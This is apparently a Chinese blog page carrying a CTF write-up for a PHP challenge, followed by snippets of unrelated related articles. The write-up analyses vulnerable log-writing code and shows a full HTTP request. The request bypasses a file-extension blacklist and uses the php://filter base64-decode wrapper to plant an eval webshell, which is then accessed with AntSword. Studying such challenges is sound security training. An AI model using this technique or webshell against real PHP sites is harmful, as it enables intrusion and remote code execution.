当前位置: 首页 > news >正文

PHP-综合4

[题目信息]:

题目名称题目难度
PHP-综合42

[题目考点]:

PHP综合训练

[Flag格式]:

SangFor{Ouk3i63BuShgxqdRcn_9kMNqKFDe5j4f}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2087

[题目writeup]:

1、实验主页

2、源码分析

<?php
if(isset($_GET['read-source'])) {exit(show_source(__FILE__));
}

define(‘DATA_DIR’, dirname(FILE) . ‘/data/’ . md5($_SERVER[‘REMOTE_ADDR’]));

if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);

$domain = isset($_POST[‘domain’]) ? $_POST[‘domain’] : ‘’;
$log_name = isset($_POST[‘log’]) ? $_POST[‘log’] : date(’-Y-m-d’);
?>
<?php if(!empty($_POST) && $domain):
$command = sprintf(“dig -t A -q %s”, escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER[‘SERVER_NAME’] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), [‘php’, ‘php3’, ‘php4’, ‘php5’, ‘phtml’, ‘pht’], true)) {
file_put_contents($log_name, $output);
}
echo $output;
endif; ?>

分析题目代码,首先把眼光放在可以写入文件的地方

$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {file_put_contents($log_name, $output);
}

可以看到,文件名是由$_SERVER['SERVER_NAME']$log_name两部分组成的。

$log_name可以由$_POST['log']来控制,至于$_SERVER['SERVER_NAME']可以通过修改Host头部进行控制。

在官方文档中表明,在Apache2中没有进行相应设置的话,这个值是会由客户端进行提供。

!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)

可以看到在源代码中只进行了文件后缀名的判断,但并没有以获取到的文件后缀当作写入文件的后缀,就可以利用shell.php/.的方式绕过。

观察写入文件内容,有一小部是用户可以自定义控制的,但是不能插入尖括号这些html字符,因为进行了一次转义。

这里可以利用php的伪协议,就可以控制写入文件的方式。base64解码中遇到不符合规范的字符直接跳过。所以虽然我们只能控制一部分内容,但是其他内容并不影响base64解码。另外因为base64解码是4位4位的解的,所以我们要保证我们需要解码的字符串之前的合法字符数为4的倍数,这样就不会影响我们传入的字符串正常解码。

需要注意的是base64中的=只能出现在最末尾,而我们插入的字符串是在中间的,所以我们插入的字符串里不能有=

发送数据包

POST / HTTP/1.1
Host: php
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.17.87:2087/
Cookie: PHPSESSID=056395276464d1b4480bc1457efbb106
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 102

domain=PD9waHAgZXZhbCgkX1BPU1RbJ3gnXSk7Pz4y&log=://filter/write=convert.base64-decode/resource=2.php/.

蚁剑连接data目录下,MD5编码访问者ip目录下的2.php文件即可

相关文章:

PHP-综合4

[题目信息]&#xff1a; 题目名称题目难度PHP-综合42 [题目考点]&#xff1a; PHP综合训练[Flag格式]: SangFor{Ouk3i63BuShgxqdRcn_9kMNqKFDe5j4f}[环境部署]&#xff1a; docker-compose.yml文件或者docker tar原始文件。 http://分配ip:2087[题目writeup]&#xff1a;…...

学习笔记-沁恒第五讲-米醋

一&#xff0c;设置音量 上次 这次 #include "uart.h" #include "debug.h" void audio_init() { Usart3_Init(); } void audio_play(u8 num) { u8 string[]{0x7e,0x05,0x41,0x00,num,0x05^0x41^0x00^num,0xef}; u8 i; for(i0;i<7;i) { USART_Se…...

【JavaScript】JavaScript 常见概念 - 变量与数据类型 - 运算符 - 条件语句 - 循环 - 函数 - 数组操作 - 对象

1. 变量与数据类型 变量声明 JavaScript 提供了三种方式来声明变量&#xff1a; var&#xff08;全局或函数作用域&#xff0c;不推荐&#xff09;let&#xff08;块级作用域&#xff0c;推荐&#xff09;const&#xff08;常量&#xff0c;块级作用域&#xff0c;推荐&…...

Web自动化之Selenium添加网站Cookies实现免登录

在使用Selenium进行Web自动化时&#xff0c;添加网站Cookies是实现免登录的一种高效方法。通过模拟浏览器行为&#xff0c;我们可以将已登录状态的Cookies存储起来&#xff0c;并在下次自动化测试或爬虫任务中直接加载这些Cookies&#xff0c;从而跳过登录步骤。 Cookies简介 …...

AI手机的技术细节

前序&#xff1a;先说各个功能涉及到的技术&#xff0c;再说宏观系统架构。AI手机有这样几个做法&#xff0c;给手机侧边增加一个按键&#xff1b;把手机的语音助手做的很好&#xff0c;能够快速稳定的进行唤醒&#xff1b;通过特殊形式的触摸手机的曲面屏位置等来进行唤醒AI …...

10. 九转金丹炼矩阵 - 矩阵置零(标记优化)

哪吒在数据修仙界中继续他的修炼之旅。这一次,他来到了一片神秘的金丹谷,谷中有一座巨大的九转金丹炉,炉身闪烁着神秘的光芒。金丹炉的入口处有一块巨大的石碑,上面刻着一行文字:“欲破此炉,需以九转金丹之力,炼矩阵之零,标记优化定乾坤。” 哪吒定睛一看,石碑上还有…...

[实现Rpc] 客户端 | Requestor | RpcCaller的设计实现

目录 Requestor类的实现 框架 完善 onResponse处理回复 完整代码 RpcCaller类的实现 1. 同步调用 call 2. 异步调用 call 3. 回调调用 call Requestor类的实现 &#xff08;1&#xff09;主要功能&#xff1a; 客户端发送请求的功能&#xff0c;进行请求描述对服务器…...

Java 大视界 -- 深度洞察 Java 大数据安全多方计算的前沿趋势与应用革新(52)

&#x1f496;&#x1f496;&#x1f496;亲爱的朋友们&#xff0c;热烈欢迎你们来到 青云交的博客&#xff01;能与你们在此邂逅&#xff0c;我满心欢喜&#xff0c;深感无比荣幸。在这个瞬息万变的时代&#xff0c;我们每个人都在苦苦追寻一处能让心灵安然栖息的港湾。而 我的…...

山东大学软件学院nosql实验三

实验题目&#xff1a; 用Java做简单查询(2学时) 实验内容 用API方式&#xff0c;做简单查询。 实验要求 在以下要求中选择至少2个&#xff0c;使用Java语言实现数据查询&#xff0c;最终把数据输出到前端界面。 &#xff08;1&#xff09;找出年龄小于20岁的所有学生 &…...

正态分布的奇妙性质:为什么奇数阶中心矩(odd central moments)为零?

正态分布的奇妙性质&#xff1a;为什么奇数阶矩为零&#xff1f; 正态分布&#xff08;Normal Distribution&#xff09;是统计学中最常见的分布之一&#xff0c;它的钟形曲线几乎无处不在&#xff0c;从身高体重到测量误差&#xff0c;都能看到它的影子。除了均值和方差这两个…...

【入门音视频】音视频基础知识

&#x1f308;前言&#x1f308; 这个系列在我学习过程中&#xff0c;对音视频知识归纳总结的笔记。因为音视频相关讲解非常稀少&#xff0c;所以我希望通过这个音视频系列&#xff0c;跟大家一起学习音视频&#xff0c;希望减少初学者在学习上的压力。同时希望也欢迎指出文章的…...

游戏引擎学习第120天

仓库:https://gitee.com/mrxiao_com/2d_game_3 上次回顾&#xff1a;周期计数代码 我们正在进行一个项目的代码优化工作&#xff0c;目标是提高性能。当前正在优化某个特定的代码片段&#xff0c;已经将其执行周期减少到48个周期。为了实现这一目标&#xff0c;我们设计了一个…...

【Qt之QQuickWidget】QML嵌入QWidget中

由于我项目开始使用Widgets,换公司后直接使用QML开发&#xff0c;没有了解过如何实现widget到qml过渡&#xff0c;恰逢面试时遇到一家公司希望从widget迁移到qml开发&#xff0c;询问相关实现&#xff0c;一时语塞&#xff0c;很尴尬&#xff0c;粗略研究并总结下。 对qwidget嵌…...

Vue 3 + Vite 项目中配置代理解决开发环境中跨域请求问题

在 Vue 3 Vite 项目中&#xff0c;配置代理是解决开发环境中跨域请求问题的常见方法。通过在 Vite 的配置文件中设置代理&#xff0c;可以将前端请求转发到后端服务器&#xff0c;从而避免浏览器的同源策略限制。 1. 创建 Vue 3 Vite 项目 首先&#xff0c;确保你已经安装了…...

Eureka、ZooKeeper 和 Nacos 之间的对比

Eureka、ZooKeeper 和 Nacos 都是分布式系统中常用的服务注册与发现工具&#xff0c;但它们的定位、功能和适用场景有所不同。作为一名开发者&#xff0c;理解它们之间的对比有助于选择合适的技术栈。以下从多个维度进行详细比较&#xff1a; 1. 基本概述 Eureka 来源&#xff…...

CSS中padding和margin属性的使用

在 HTML 中&#xff0c;padding 和 margin 是用于控制元素布局和间距的重要属性。 一、Padding&#xff08;内边距&#xff09; 定义&#xff1a;Padding 是指元素内容与元素边框之间的距离。它可以在元素内部创造出空白区域&#xff0c;使得内容不会紧贴着边框。 作用 增加元…...

【Python爬虫(49)】分布式爬虫:在新兴技术浪潮下的蜕变与展望

【Python爬虫】专栏简介&#xff1a;本专栏是 Python 爬虫领域的集大成之作&#xff0c;共 100 章节。从 Python 基础语法、爬虫入门知识讲起&#xff0c;深入探讨反爬虫、多线程、分布式等进阶技术。以大量实例为支撑&#xff0c;覆盖网页、图片、音频等各类数据爬取&#xff…...

网络安全-系统层攻击流程及防御措施

系统层攻击流程涉及多个阶段&#xff0c;攻击者通过逐步渗透以获取控制权或窃取数据。以下是详细的流程及防御措施&#xff1a; 1. 侦察&#xff08;Reconnaissance&#xff09; 信息收集&#xff1a; 主动扫描&#xff1a;使用工具如Nmap、Masscan扫描目标IP、开放端口、服务…...

centos 7 安装python3 及pycharm远程连接方法

安装openssl 使用pip3安装 virtualenv的时候会提示WARNING: pip is configured with locations that require TLS/SSL, however the ssl module in Python is not available. 这是因为缺少openssl 2.0以上版本 解决办法&#xff1a; 一、先确认版本 openssl version 二、安…...

【llm对话系统】如何快速开发一个支持openai接口的llm server呢

核心思路&#xff1a;使用轻量级 Web 框架&#xff0c;将 OpenAI API 请求转换为你现有推理脚本的输入格式&#xff0c;并将推理脚本的输出转换为 OpenAI API 的响应格式。 快速开发步骤列表&#xff1a; 选择合适的 Web 框架 (快速 & 简单): FastAPI: Python 最佳选择&am…...

告别纸上谈兵:手把手教你用AVL CRUISE M+dSPACE搭建首个硬件在环(HiL)测试环境

从零构建HiL测试台架&#xff1a;AVL CRUISE M与dSPACE实战指南 第一次接触硬件在环&#xff08;HiL&#xff09;测试的工程师常会遇到这样的困境&#xff1a;明明在仿真环境中运行良好的模型&#xff0c;一旦接入真实硬件就问题频出。去年我负责的一个混动变速箱控制单元测试项…...

Godot 2D碰撞体实战:从FlappyBird看RigidBody2D与StaticBody2D的碰撞艺术

1. 从FlappyBird看Godot碰撞体的核心价值 第一次打开Godot引擎时&#xff0c;我被它简洁的节点系统吸引&#xff0c;但真正让我着迷的是它精妙的物理碰撞系统。记得三年前我尝试复刻FlappyBird时&#xff0c;小鸟明明还没碰到水管游戏就结束了&#xff0c;这种"幽灵碰撞&q…...

怎么监控MongoDB副本集的复制缓冲区积压_复制流速率评估

replication lag 应看 optimeDate 差值而非 lastHeartbeatRecv&#xff1b;optimeDate 停滞或为 1970 年表明同步异常&#xff1b;需结合 currentOp、replSetGetStatus 和 95 分位 replApply 耗时综合诊断。replication lag 要看 optimeDate&#xff0c;不是 lastHeartbeatRecv…...

别再混淆了!FPGA开发中SRAM、RegFile和Block RAM到底该怎么选?

FPGA开发中SRAM、RegFile与Block RAM的黄金选择法则 在FPGA设计的世界里&#xff0c;存储资源的选择往往决定了整个系统的性能上限。当项目从仿真阶段转入实际硬件实现时&#xff0c;许多工程师会突然发现&#xff1a;那些在RTL代码中运行良好的存储结构&#xff0c;一旦映射到…...

CSS移动端实现自适应图片比例_设置height auto保证等比缩放

Max-Age 优先级高于 Expires&#xff0c;覆盖其设置&#xff1b;Expires 依赖客户端时间且需 GMT 格式&#xff0c;省略则为会话 Cookie&#xff1b;Max-Age 以秒为单位、不依赖本地时间&#xff0c;值为 0 或负数时立即删除。Cookie 的生命周期由 Expires 和 Max-Age 两个属性…...

从梯度泄露到数据复原:DLG与iDLG算法实战解析

1. 梯度泄露风险&#xff1a;联邦学习的阿喀琉斯之踵 想象一下这样的场景&#xff1a;医院A有患者的CT影像数据&#xff0c;医院B有对应的诊断报告&#xff0c;两家机构想联合训练一个AI诊断模型&#xff0c;但谁也不愿意直接共享原始数据。这时候联邦学习&#xff08;Federate…...

watchfiles实战:如何构建企业级代码热重载系统

watchfiles实战&#xff1a;如何构建企业级代码热重载系统 【免费下载链接】watchfiles Simple, modern and fast file watching and code reload for Python, written in Rust 项目地址: https://gitcode.com/gh_mirrors/wa/watchfiles watchfiles是一个用Rust编写的现…...

深入浅出:图解U-Boot FIT镜像签名与验签的完整工作流(附openssl/its/dts关键文件解析)

深入浅出&#xff1a;图解U-Boot FIT镜像签名与验签的完整工作流&#xff08;附openssl/its/dts关键文件解析&#xff09; 在嵌入式系统开发中&#xff0c;确保固件镜像的完整性和真实性至关重要。U-Boot作为嵌入式设备中最常用的引导加载程序之一&#xff0c;其FIT&#xff08…...

用AT89C51单片机DIY一个可调速的步进电机小平台(附Proteus 8.10仿真文件)

用AT89C51单片机打造智能步进电机控制平台&#xff1a;从仿真到实物的全流程解析 在电子制作领域&#xff0c;步进电机因其精准的位置控制和简单的驱动方式&#xff0c;成为许多自动化项目的核心组件。而51单片机作为经久不衰的微控制器&#xff0c;依然是初学者入门嵌入式开发…...

FigmaCN中文翻译插件:3步让Figma界面全中文化,设计师效率提升50%

FigmaCN中文翻译插件&#xff1a;3步让Figma界面全中文化&#xff0c;设计师效率提升50% 【免费下载链接】figmaCN 中文 Figma 插件&#xff0c;设计师人工翻译校验 项目地址: https://gitcode.com/gh_mirrors/fi/figmaCN 还在为Figma的全英文界面而烦恼吗&#xff1f;菜…...